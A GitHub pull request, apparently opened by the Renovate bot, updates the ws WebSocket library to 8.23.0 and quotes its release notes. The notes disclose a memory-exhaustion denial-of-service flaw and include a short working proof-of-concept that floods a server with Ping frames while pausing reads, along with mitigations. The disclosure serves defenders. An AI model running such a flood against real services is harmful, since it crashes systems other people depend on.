Skip to content

fix(peer-deps): ⬆️ update dependency ws to ^8.23.0 - #108

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/ws-8.x
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/ws-8.x

Conversation

@renovate

@renovate renovate Bot commented Oct 31, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
ws ^8.22.0 → ^8.23.0 age confidence

Release Notes

websockets/ws (ws)

v8.23.0

Compare Source

Features

  • Introduced the maxPendingAutoPongs option (ace7248).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (ace7248).

A malicious peer can flood the other peer with Ping frames while stopping reads,
forcing it to buffer Pong frames that are automatically sent in response until
memory is exhausted, leading to process termination due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(125);
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    ws.pause();

    (function ping() {
      ws.ping(data, function (err) {
        if (err) return;
        ping();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

The vulnerability was responsibly disclosed by multiple reporters:

In vulnerable versions, the issue can be mitigated by enforcing rate-limiting
combined with heartbeats, or by setting the autoPong option to false, if
available.

v8.22.2

Compare Source

Bug fixes

  • The userinfo of the URL is now percent-decoded (#​2352).
  • The WebSocket constructor no longer mutates http: or https: url.URL
    objects (#​2353).

v8.22.1

Compare Source

Bug fixes

  • The path of IPC URLs is no longer truncated at : (#​2344).

Other notable changes


Configuration

📅 Schedule: (in timezone Europe/Madrid)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@codecov

codecov Bot commented Oct 31, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.

📢 Thoughts on this report? Let us know!

@renovate
renovate Bot force-pushed the renovate/ws-8.x branch 2 times, most recently from 8c799b4 to 0e3c547 Compare November 5, 2026 19:29
@renovate renovate Bot changed the title fix(peer-deps): ⬆️ update dependency ws to ^8.22.1 fix(peer-deps): ⬆️ update dependency ws to ^8.22.2 Nov 8, 2026
@renovate
renovate Bot force-pushed the renovate/ws-8.x branch 2 times, most recently from ea5cfd9 to 7af6e91 Compare November 11, 2026 18:30
@renovate renovate Bot changed the title fix(peer-deps): ⬆️ update dependency ws to ^8.22.2 fix(peer-deps): ⬆️ update dependency ws to ^8.23.0 Nov 13, 2026
@renovate
renovate Bot force-pushed the renovate/ws-8.x branch from 7af6e91 to 4c63a93 Compare November 13, 2026 00:10
@renovate
renovate Bot force-pushed the renovate/ws-8.x branch from 4c63a93 to 9c19923 Compare November 16, 2026 14:51

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants